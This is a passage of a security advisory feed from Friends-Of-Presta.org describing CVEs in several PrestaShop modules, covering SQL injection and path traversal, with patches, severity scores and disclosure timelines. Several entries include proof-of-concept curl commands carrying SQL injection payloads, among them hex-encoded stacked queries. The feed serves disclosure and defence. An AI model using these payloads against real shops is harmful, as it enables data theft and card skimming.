  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-21</td>
      <td>Issue discovered after a security audit by <a href="https://www.202-ecommerce.com">202-ecommerce</a> and <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2022-09-21</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2022-12-09</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-05-15</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-22</td>
      <td>Received CVE ID</td>
    </tr>
  </tbody>
</table>

<p>Store Commander thanks <a href="https://www.202-ecommerce.com">202-ecommerce</a> and <a href="https://www.touchweb.fr">TouchWeb</a> for their courtesy and their help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.storecommander.com/fr/modules-complementaires/440-export-commandes-pro.html">Store Commander export orders module product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33280">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Store Commander&quot;, &quot;202 ecommerce&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “SC Quick Accounting” (scquickaccounting), an anonymous user can perform a SQL injection. The module have been patched in version 3.7.4.]]></summary></entry><entry><title type="html">[CVE-2023-30196] Improper Limitation of a Pathname to a Restricted Directory in Webbax - Sales Booster module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/22/salesbooster.html" rel="alternate" type="text/html" title="[CVE-2023-30196] Improper Limitation of a Pathname to a Restricted Directory in Webbax - Sales Booster module for PrestaShop" /><published>2023-05-22T00:00:00+00:00</published><updated>2023-05-22T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/22/salesbooster</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/22/salesbooster.html"><![CDATA[<p>In the module “Sales Booster” (salesbooster) from Webbax for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30196">CVE-2023-30196</a></li>
  <li><strong>Published at</strong>: 2023-05-22</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: salesbooster</li>
  <li><strong>Impacted release</strong>: &lt;= 1.10.4 (1.10.5 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Webbax</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to predictable token and a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>Note : We are forced to tag it as a high gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin / Adminer / etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-from-1104">Patch from 1.10.4</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.10.4/modules/salesbooster/downloads/download.php
</span><span class="gi">+++ 1.10.5/modules/salesbooster/downloads/download.php
</span><span class="err">...</span>
-$file = Tools::getValue('file');
<span class="gi">+$file = basename(Tools::getValue('file')).'.txt';
+if((strpos($file, './') === false) &amp;&amp; substr($file,-4) == '.txt'){
</span><span class="err">...</span>
+}
<span class="err">...</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>salesbooster</strong>.</li>
  <li>Update the configuration SALESBOOSTER_TOKEN in your ps_configuration table with a string not predictable - <strong>be warned that the patch provided by author still suffer of a predictable security token mecanism.</strong></li>
  <li>You should consider restricting the access of modules/salesbooster/ to a whitelist</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-25</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2023-02-25</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-02-27</td>
      <td>Author confirms alert’s read</td>
    </tr>
    <tr>
      <td>2023-04-24</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-02</td>
      <td>Author publishes a new version which fix the leak</td>
    </tr>
    <tr>
      <td>2023-05-22</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.webbax.ch/2017/08/30/9-modules-prestashop-gratuits-offert-par-webbax/">Author download page</a></li>
  <li><a href="https://www.youtube.com/watch?v=ZHerGwp0oq4&amp;t=1855s">Usefull Author advices - French</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30196">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Sales Booster” (salesbooster) from Webbax for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2023-30191] Improper neutralization of SQL parameter in Prestaeg - CDesigner module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/17/cdesigner-89.html" rel="alternate" type="text/html" title="[CVE-2023-30191] Improper neutralization of SQL parameter in Prestaeg - CDesigner module for PrestaShop" /><published>2023-05-17T00:00:00+00:00</published><updated>2023-05-17T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/17/cdesigner-89</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/17/cdesigner-89.html"><![CDATA[<p>In the module “CDesigner” (cdesigner) from Prestaeg for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30191">CVE-2023-30191</a></li>
  <li><strong>Published at</strong>: 2023-05-17</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: cdesigner</li>
  <li><strong>Impacted release</strong>: &lt;= 3.2.2 (3.2.3 fixed the vulnerability - WARNING : NO SEMVER VERSIONNING - SEE NOTE BELOW)</li>
  <li><strong>Product author</strong>: Prestaeg</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">CdesignerTraitementModuleFrontController::initContent()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : The author do not follow a conventionnal semver versionning, since each branch of each PS major version follow its own version’s logic. For one PrestaShop major version, vulnerability has been fixed since months but for others PS major version it’s still vulnerable.</p>

<p>This will cause confusion for the ecosystem so we defined the “impacted release” as a “safe version” for “all major PS versions”.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Steal/Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'state=8&amp;id_input=1&amp;id_output=1&amp;id_design=1%27;select(sleep(10));'</span> <span class="s1">'https://preprod.XXX/?fc=module&amp;module=cdesigner&amp;controller=traitement'</span>
</code></pre></div></div>

<h2 id="patch-from-318">Patch from 3.1.8</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.1.8/cdesigner/controllers/front/traitement.php
</span><span class="gi">+++ 3.2.3/cdesigner/controllers/front/traitement.php
</span><span class="err">...</span>
                else if ($state == 8)
		{
<span class="gd">-                       $id_design = $_POST['id_design'];
</span><span class="gi">+                       $id_design = pSQL($_POST['id_design']);
</span>			Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS("
				DELETE FROM "._DB_PREFIX_."cdesigner_user_design
				WHERE `id_design` = '". $id_design ."'"

</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>cdesigner</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Q3 2022</td>
      <td>Issue discovered after security audit by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>Q4 2022</td>
      <td>Contact author</td>
    </tr>
    <tr>
      <td>Q4 2022</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-03-04</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-03-25</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-04-24</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-16</td>
      <td>PrestaShop Addons security Team confirm author publish a fix</td>
    </tr>
    <tr>
      <td>2023-05-17</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/declinaisons-personnalisation/22677-personnalisation-de-produit-product-customize.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30191">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “CDesigner” (cdesigner) from Prestaeg for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-30199] Improper Limitation of a Pathname to a Restricted Directory in Webbax - Custom Exporter module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/16/customexporter.html" rel="alternate" type="text/html" title="[CVE-2023-30199] Improper Limitation of a Pathname to a Restricted Directory in Webbax - Custom Exporter module for PrestaShop" /><published>2023-05-16T00:00:00+00:00</published><updated>2023-05-16T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/16/customexporter</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/16/customexporter.html"><![CDATA[<p>In the module “Custom Exporter” (customexporter) from Webbax for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30199">CVE-2023-30199</a></li>
  <li><strong>Published at</strong>: 2023-05-16</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: customexporter</li>
  <li><strong>Impacted release</strong>: &lt;= 1.7.20 (1.7.21 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Webbax</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control and a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>Note : We are forced to tag it as a high gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<p><strong>WARNING</strong> : Be informed that this vulnerability is exploited since March 30, 2023.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin/Adminer/etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-from-1720">Patch from 1.7.20</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.7.20/modules/customexporter/downloads/download.php
</span><span class="gi">+++ 1.7.21/modules/customexporter/downloads/download.php
</span><span class="err">...</span>
- $file = Tools::getValue('file');
<span class="gi">+ $file = basename(Tools::getValue('file'));
</span>
if(strpos($file,'?')!==false){
   $file_name = explode('?',$file);
   $file = str_replace('file=','',$file_name[0]);
<span class="err">}</span>

<span class="gd">-
</span><span class="gi">+if((strpos($file, './') === false) &amp;&amp; (substr($file,-4) === '.csv') || substr($file,-4) === '.txt'){
</span><span class="err">...</span>
-
<span class="gi">+}
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>customexporter</strong>.</li>
  <li>You should consider restricting the access of modules/customexporter/ to a whitelist</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-25</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2023-02-25</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-02-27</td>
      <td>Author confirms alert’s read</td>
    </tr>
    <tr>
      <td>2023-04-24</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-02</td>
      <td>Author publishes a new version which fix the leak</td>
    </tr>
    <tr>
      <td>2023-05-16</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.webbax.ch/2017/08/30/9-modules-prestashop-gratuits-offert-par-webbax/">Author download page</a></li>
  <li><a href="https://www.youtube.com/watch?v=ZHerGwp0oq4&amp;t=1855s">Usefull Author advices - French</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30199">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Custom Exporter” (customexporter) from Webbax for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2023-30192] Improper neutralization of SQL parameter in PosThemes - Search Products for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/11/possearchproducts.html" rel="alternate" type="text/html" title="[CVE-2023-30192] Improper neutralization of SQL parameter in PosThemes - Search Products for PrestaShop" /><published>2023-05-11T00:00:00+00:00</published><updated>2023-05-11T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/11/possearchproducts</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/11/possearchproducts.html"><![CDATA[<p>In the module “Search Products” (possearchproducts) from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30192">CVE-2023-30192</a></li>
  <li><strong>Published at</strong>: 2023-05-11</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: possearchproducts</li>
  <li><strong>Impacted release</strong>: &lt;= 1.7 (VERSION’S SCOPE NOT CONFIRMED - AUTHOR NEVER ANSWER)</li>
  <li><strong>Product author</strong>: posthemes</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">PosSearch::find()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>The exploit can be used even if the module is not activated.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://preprod.XXX/modules/possearchproducts/SearchProducts.php?s=test&amp;id_category=1;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span>
</code></pre></div></div>

<h2 id="patch-from-17">Patch from 1.7</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.7/modules/possearchproducts/PosSearch.php
</span><span class="gi">+++ XXX/modules/possearchproducts/PosSearch.php
</span><span class="err">...</span>
WHERE c.`active` = 1
<span class="gd">-        '.($id_category !=  0 ? 'AND c.`id_category` = '.$id_category.'':'').'
</span><span class="gi">+        '.($id_category !=  0 ? 'AND c.`id_category` = '.(int) $id_category.'':'').'
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to apply patch given or delete the module (NB : disabled it is useless)</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-23</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-03-23</td>
      <td>Contact Author to confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-05-11</td>
      <td>Author never answer and exploit is used to massively stole credit cards</td>
    </tr>
    <tr>
      <td>2023-05-11</td>
      <td>Publication of this security advisory without delay due to emergency</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://themeforest.net/user/posthemes/portfolio">Posthemes product page on Themes Forest</a></li>
  <li><a href="https://posthemes.com/">Posthemes website</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30192">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Search Products” (possearchproducts) from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-30194] Improper neutralization of SQL parameter in Posthemes - Static Footer module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/09/posstaticfooter.html" rel="alternate" type="text/html" title="[CVE-2023-30194] Improper neutralization of SQL parameter in Posthemes - Static Footer module for PrestaShop" /><published>2023-05-09T00:00:00+00:00</published><updated>2023-05-09T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/09/posstaticfooter</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/09/posstaticfooter.html"><![CDATA[<p>In the module “Static Footer” (posstaticfooter) from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<p>Note : if ajax.php do not exist in the root module directory, you are not concerned.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30194">CVE-2023-30194</a></li>
  <li><strong>Published at</strong>: 2023-05-09</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: posstaticfooter</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0 (1.0.0 seems not concerned - no semver versionning)</li>
  <li><strong>Product author</strong>: posthemes</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">posstaticfooter::getPosCurrentHook()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>The exploit can be used even if the module is not activated.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'module_id=1%22;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span> <span class="s1">'https://preprod.XX/modules/posstaticfooter/ajax.php'</span>
</code></pre></div></div>

